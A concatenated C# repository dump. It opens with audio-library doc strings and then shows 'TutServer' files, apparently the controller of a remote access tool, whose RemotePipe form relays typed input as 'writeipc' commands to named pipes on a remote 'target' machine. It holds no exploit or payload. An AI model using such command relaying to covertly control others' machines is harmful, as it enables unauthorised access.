WaveOut API's from being called on >1 thread Finalizer for this wave buffer Releases resources held by this WaveBuffer Releases resources held by this WaveBuffer this is called by the WAVE callback and should be used to refill the buffer Whether the header's in queue flag is set The buffer size in bytes DMO Input Data Buffer Flags None DMO_INPUT_DATA_BUFFERF_SYNCPOINT DMO_INPUT_DATA_BUFFERF_TIME DMO_INPUT_DATA_BUFFERF_TIMELENGTH http://msdn.microsoft.com/en-us/library/aa929922.aspx DMO_MEDIA_TYPE Gets the structure as a Wave format (if it is one) Sets this object up to point to a wave format Wave format structure Major type Major type name Subtype Subtype name Fixed size samples Sample size Format type Format type name DMO Output Data Buffer Creates a new DMO Output Data Buffer structure Maximum buffer size Dispose Retrives the data in this buffer Buffer to receive data Offset into buffer Media Buffer Length of data in buffer Status Flags Timestamp Duration Is more data available If true, ProcessOuput should be called again DMO Output Data Buffer Flags None DMO_OUTPUT_DATA_BUFFERF_SYNCPOINT DMO_OUTPUT_DATA_BUFFERF_TIME DMO_OUTPUT_DATA_BUFFERF_TIMELENGTH DMO_OUTPUT_DATA_BUFFERF_INCOMPLETE DMO Process Output Flags None DMO_PROCESS_OUTPUT_DISCARD_WHEN_NO_BUFFER defined in mediaobj.h From wmcodecsdp.h Implements: - IMediaObject - IMFTransform (Media foundation - we will leave this for now as there is loads of MF stuff) - IPropertyStore - IWMResamplerProps Can resample PCM or IEEE DMO Resampler Creates a new Resampler based on the DMO Resampler Dispose code - experimental at the moment Was added trying to track down why Resampler crashes NUnit This code not currently being called by ResamplerDmoStream Media Object ================================================ FILE: TutServer/remotePipe.Designer.cs ================================================ namespace TutServer { partial class RemotePipe { /// /// Required designer variable. /// private System.ComponentModel.IContainer components = null; /// /// Clean up any resources being used. /// /// true if managed resources should be disposed; otherwise, false. protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Windows Form Designer generated code /// /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// private void InitializeComponent() { this.richTextBox1 = new System.Windows.Forms.RichTextBox(); this.textBox1 = new System.Windows.Forms.TextBox(); this.SuspendLayout(); // // richTextBox1 // this.richTextBox1.Location = new System.Drawing.Point(12, 12); this.richTextBox1.Name = "richTextBox1"; this.richTextBox1.Size = new System.Drawing.Size(1034, 483); this.richTextBox1.TabIndex = 0; this.richTextBox1.Text = ""; // // textBox1 // this.textBox1.Location = new System.Drawing.Point(12, 501); this.textBox1.Name = "textBox1"; this.textBox1.Size = new System.Drawing.Size(1034, 20); this.textBox1.TabIndex = 1; this.textBox1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.textBox1_KeyDown); // // remotePipe // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(1058, 526); this.Controls.Add(this.textBox1); this.Controls.Add(this.richTextBox1); this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow; this.Name = "remotePipe"; this.Text = "remotePipe"; this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.remotePipe_FormClosing); this.ResumeLayout(false); this.PerformLayout(); } #endregion private System.Windows.Forms.RichTextBox richTextBox1; private System.Windows.Forms.TextBox textBox1; } } ================================================ FILE: TutServer/remotePipe.cs ================================================ using System.Windows.Forms; //For form intercation and controls #pragma warning disable IDE1006 namespace TutServer //The application namespace { /// /// Class for handling remote IPC connections /// public partial class RemotePipe : Form { #region Global Variables /// /// Reference to the main form /// private Form1 ctx; /// /// The remote IPC server name /// public string pname; /// /// Indicates if the pipe is connected to the remote IPC server /// public bool RemoteRemove = true; /// /// The output sent by the remote IPC server /// public RichTextBox outputBox; #endregion #region Remote Pipe and Form Functions /// /// Constructor /// /// The name of the IPC server /// Reference to the main form public RemotePipe(string pipeName, Form1 context) { InitializeComponent(); //Init the controls Text = $"Remote Pipe Connection ({pipeName})"; //Set the title text pname = pipeName; //Set the IPC server name ctx = context; //Set the main form reference outputBox = richTextBox1; //Set the output of the IPC server } /// /// Handles the sending of IPC input /// /// The sender of the event /// The event args private void textBox1_KeyDown(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.Enter) //if enter is pressed { string data = textBox1.Text; //Get the data in the input string cmd = $"writeipc§{pname}§{data}"; //Construct the command ctx.SendToTarget(cmd); //Send the command to the client textBox1.Text = ""; //Clear the input box } } /// /// Delegate used for writing IPC output /// /// The text to write to the IPC output private delegate void SetTextCallback(string text); /// /// Write to the IPC output /// /// The text to write to the output private void SetText(string text) { if (InvokeRequired) //If we need to invoke { SetTextCallback stc = new SetTextCallback(SetText); //Create a new callback Invoke(stc, new object[] { text }); //Invoke the callback return; //Return } richTextBox1.Text = text; //Set the output text } /// /// Write the output of an IPC command /// /// The output of the IPC server public void WriteOutput(string output) { SetText(output); //Write the output to the richTextBox } /// /// Close the remote pipe /// /// The sender of the event /// The event args private void remotePipe_FormClosing(object sender, FormClosingEventArgs e) { ctx.RemovePipe(this, RemoteRemove); //Remove the pipe from the list } #endregion } } ================================================ FILE: TutServer/remotePipe.resx ================================================  text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 ================================================ FILE: TutServer.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio 2013 VisualStudioVersion = 12.0.21005.1 MinimumVisualStudioVersion = 10.0.40219.1 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TutServer", "TutServer\TutServer.csproj", "{E66E3E96-3B7A-4784-84CF-E6AF40006F91}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU Release|Any CPU = Release|Any CPU EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {E66E3E96-3B7A-4784-84CF-E6AF40006F91}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {E66E3E96-3B7A-4784-84CF-E6AF40006F91}.Debug|Any CPU.Build.0 = Debug|Any CPU {E66E3E96-3B7A-4784-84CF-E6AF40006F91}.Release|Any CPU.ActiveCfg = Release|Any CPU {E66E3E96-3B7A-4784-84CF-E6AF40006F91}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection EndGlobal